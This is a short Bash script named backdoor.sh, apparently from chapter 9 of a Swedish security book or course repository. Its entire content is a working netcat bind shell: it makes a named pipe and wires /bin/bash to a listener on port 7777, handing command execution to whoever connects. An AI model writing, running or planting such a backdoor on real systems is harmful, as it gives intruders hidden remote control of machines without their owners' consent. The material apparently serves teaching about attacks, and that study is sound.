Files
demonerna-pa-internet/kapitel9/backdoor.sh

6 lines
108 B
Bash

#!/bin/bash
mkfifo /tmp/f
cat /tmp/f | /bin/bash 2>&1 | nc 127.0.0.1 -l 7777 > /tmp/f \
&& rm /tmp/f